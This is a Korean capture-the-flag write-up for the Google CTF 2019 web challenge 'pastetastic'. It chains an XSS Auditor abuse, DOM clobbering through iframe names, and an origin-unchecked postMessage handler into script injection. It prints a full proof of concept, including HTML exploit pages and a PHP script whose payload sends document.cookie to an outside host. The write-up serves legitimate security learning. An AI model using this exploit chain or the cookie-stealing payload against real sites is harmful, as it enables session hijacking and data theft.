# pastetastic (web - 500 pts)
## Description
The pretty paste solution!
## Exploit
이 문제는 Same-Origin-Policy와 XSS Auditor, postMessage 그리고 DOM Clobbering을 이용한 XSS문제입니다.
문제 페이지의 구성은 간단합니다.
- create : pastebin처럼 글을 작성합니다. 이때, 사용자는 원하는 Syntax를 지정할 수 있습니다.
- view : create기능을 이용하여 생성한 글을 열람합니다. 이때, 지정한 Syntax를 이용해 Code Highlighting을 해줍니다.
- report : 현재 보고있는 view 페이지를 report합니다.
XSS를 통해 플래그를 탈취하는 문제의 전형적인 형태입니다.
글 작성 페이지나 글 열람 페이지에서는 `CONFIG` 변수를 선언합니다.
```htmlmixed=
<script nonce="blahblah">CONFIG={"viewer":[{"dependencies":[...],"plugins":[...],"preload":[...]}]}</script>
```
선언한 `CONFIG` 변수는 `http://pastetastic.web.ctfcompetition.com/static/app.js`에서 사용되며, 이는 js파일을 로드하는데 사용합니다.
```javascript=
async init() {
const index = Array.from(document.querySelectorAll('iframe.sandbox'))
.indexOf(this.sandbox);
this.config = CONFIG.viewer[index];
this.loadedPlugins = {};
await this.sandboxLoaded;
let loaders = [];
for (let i = 0; i < this.config.dependencies.length; i++) {
loaders.push(this.loadScript(this.config.dependencies[i]));
}
await Promise.all(loaders);
loaders = [];
for (let i = 0; i < this.config.preload.length; i++) {
loaders.push(this.loadPlugin(this.config.preload[i]));
}
await Promise.all(loaders);
}
```
페이지에서는 C, C++, Python 등의 언어를 [Prism JS](https://prismjs.com/)를 Code Highlighting해주며, [Marked JS](https://github.com/markedjs/marked)를 이용해 Markdown을 파싱해줍니다.
그 후 iframe의 sandbox내에 들어갑니다.
**Marked JS**를 이용해 파싱할 때 필터링을 우회하여 스크립트 삽입이 가능합니다.
```htmlmixed=
Query :
<script><scr<script>ipt>alert(1);//</script>
Result :
<script>alert(1);//</p>
</script>
```
하지만 iframe에는 sandbox가 걸려있기때문에 스크립트 실행이 불가능합니다.
> Blocked script execution in 'http://pastetastic.web.ctfcompetition.com/sandbox' because the document's frame is sandboxed and the 'allow-scripts' permission is not set.
그러므로 app.js내에 있는 loadScript와 loadPlugin을 이용해 스크립트를 실행시켜야 할 것 같습니다.
### XSS Auditor abusing in Chrome
XSS Auditor는 Chrome 74부터 default가 mode:block에서 filter로 변경되었습니다.
https://chromium-review.googlesource.com/c/chromium/src/+/1417872
이를 이용하여 해당 문제에 존재하는 CONFIG를 제거해 줄 수 있습니다.
URL : http://pastetastic.web.ctfcompetition.com/view/82210c03f4094e46aabb1dee839411ff?fucking=CONFIG={%22viewer%22:[{%22dependencies%22:[{%22integrity%22:%22sha256-sSTatLHEEY8GQrdYAuhkqrYogKZ/jDlgfYaqK3ld/uQ=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-core.min.js%22},{%22integrity%22:%22sha256-Y0YX22e5n0zVSAd1tJ6aypkv9o4AEX5YcRKPg1Al8jg=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/marked/0.6.1/marked.min.js%22}],%22plugins%22:{%22markdown%22:{%22integrity%22:%22sha256-e4izlzFmEQlenZQnzkYK5oyxV5mX6lwVQjL6onkHiy0=%22,%22requires%22:[%22markup%22],%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markdown.min.js%22},%22markup%22:{%22integrity%22:%22sha256-8nT1E50WC5TDeb3+USsFEXN5ZGgLdmwZ6RS5KT71Wjs=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markup.min.js%22}},%22preload%22:[%22markdown%22]}]};%3C/script%3E
> The XSS Auditor refused to execute a script in [URL] because its source code was found within the request. The auditor was enabled as the server did not send an 'X-XSS-Protection' header.
> app.js:24 Uncaught (in promise) ReferenceError: CONFIG is not defined
> at Viewer.init (app.js:24)
> at initView (app.js:203)
> at app.js:212
>
CONFIG가 제거되었기 때문에 app.js에서 Reference Error가 발생합니다.
이제 CONFIG를 만들러 가봅시다.
### DOM Cloberring
`iframe`의 name은 변수로써 접근이 가능합니다.
```htmlmixed=
<iframe name="p"></iframe>
```

CONFIG 변수를 만들어 줄 수 있게 되었습니다.
예제에서 p로 접근을 하게 되면, 내부에 존재하는 변수에 접근이 가능합니다.
또한 Document Element의 attribute중 id을 변수로써 접근이 가능하게 됩니다.
Markdown을 파싱할 때, 원하는 값을 id로 넣을 수가 있습니다.
```
Input :
# ma
# shi
## ro
Outpu :
<h1 id="ma">ma</h1>
<h1 id="shi">shi</h1>
<h2 id="ro">ro</h2>
```
하지만 이는 Same-Origin-Policy을 따릅니다.
### Same-Origin-Policy
기본적으로 Domain이 다를 경우 DOM으로써 Cookie를 탈취하거나 내용을 가져올 수가 없습니다.

하지만, 내부에 존재하는 iframe의 location의 변경이 가능하며, 만약 변경한 location이 동일한 domain일 경우(e.g. A->B->A) 접근이 가능하게 됩니다.
또한, location이 자신의 domain일 경우 iframe의 name또한 변경이 가능하게 됩니다.

문제에서는 렌더링을 위한 sandbox, reCAPTCHA 2개 총 3개의 iframe이 존재합니다.
XSS Auditor를 통해 CONFIG변수를 지우고 iframe 중 하나를 같은 도메인으로 변경하고 iframe의 name을 CONFIG로 변경하게 되면, CONFIG 변수로써 접근이 가능하게 됩니다.

### postMessage
app.js에 보면 eventHandler를 설정하는 코드가 있습니다.
그 중 error일 경우의 handler는 origin을 체크하지 않습니다.
```javascript=
window.addEventListener('message', async (evt) => {
if (evt.data.type === 'error' && evt.data.lang) {
await this.init();
await this.loadPlugin(evt.data.lang);
}
});
```
그로인해 postMessage를 통해 loadPlugin을 사용할 수 있게 됩니다.
```javascript=
loadPlugin(lang) {
if (!this.loadedPlugins[lang]) {
const promise = (async () => {
const spec = this.config.plugins[lang];
if (spec.requires) {
for (let req of spec.requires) {
await this.loadPlugin(req);
}
}
await this.loadScript(spec);
})();
this.loadedPlugins[lang] = promise;
}
return this.loadedPlugins[lang];
}
async loadScript(spec) {
const params = {};
if (spec.integrity) {
params.integrity = spec.integrity;
}
const resp = await fetch(spec.src, params);
if (!resp.ok) {
throw new Error(`${spec.src} failed to load`);
}
const script = await resp.text();
initScript(this.sandbox.contentWindow, script);
}
```
loadPlugin에서는 loadScript를 호출하는데 loadScript에서 fetch를 통해 스크립트를 로드합니다.
즉, postMessage를 통해 원하는 스크립트를 로드할 수가 있습니다.
CONFIG는 다음과 같은 구조를 가지고 있습니다.
```
CONFIG={"viewer":[{"dependencies":[...],"plugins":[...],"preload":[...]}]}
```
plugins의 src에 불러올 javascript의 주소를 넣어주게 되면 원하는 스크립트를 로드합니다.
주의할 점은 dependecnies와 preload의 값이 존재하지 않으면 에러가 발생하므로, 더미 값을 생성해줘야 합니다.
PoC는 다음과 같습니다.(https://mashiro.kr/public/ctf/google/2019/quals/pastetastic/)
exp.html:
```htmlmixed=
<!DOCTYPE html>
<html>
<head>
<title>pastetastic exploit</title>
</head>
<body>
<script>
function exp(ifrm){
var t = ifrm.contentWindow.frames[1];
t.location="subexp.html";
setTimeout(function(){
t.name="CONFIG";
setTimeout(function(){
ifrm.contentWindow.postMessage({type:"error",lang:"firstElementChild"},'https://pastetastic.web.ctfcompetition.com');
},800)
},800)
}
</script>
<iframe src="https://pastetastic.web.ctfcompetition.com/view/fd48dde3207a43a78c879f6faaee9bce?c=CONFIG={%22viewer%22:[{%22dependencies%22:[{%22integrity%22:%22sha256-sSTatLHEEY8GQrdYAuhkqrYogKZ/jDlgfYaqK3ld/uQ=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-core.min.js%22},{%22integrity%22:%22sha256-Y0YX22e5n0zVSAd1tJ6aypkv9o4AEX5YcRKPg1Al8jg=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/marked/0.6.1/marked.min.js%22}],%22plugins%22:{%22markdown%22:{%22integrity%22:%22sha256-e4izlzFmEQlenZQnzkYK5oyxV5mX6lwVQjL6onkHiy0=%22,%22requires%22:[%22markup%22],%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markdown.min.js%22},%22markup%22:{%22integrity%22:%22sha256-8nT1E50WC5TDeb3+USsFEXN5ZGgLdmwZ6RS5KT71Wjs=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markup.min.js%22}},%22preload%22:[%22markdown%22]}]};%3C/script%3E" name=p onload="exp(this)">
</body>
</html>
```
subexp.html:
```htmlmixed=
<iframe name="viewer" src="https://pastetastic.web.ctfcompetition.com/view/02873a7c56b042469cb4bf31baf20c90"></iframe>
```
xss.php:
```php
<?php
header('Content-Type: text/javascript');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET');
header('Cache-Control: no-store, no-cache, must-revalidate');
echo <<<EOF
(new Image()).src="https://mashiro.kr/?f="+document.cookie;
EOF
?>
```

**FLAG :** CTF{694435c0074e860b24cad51f584d0d30}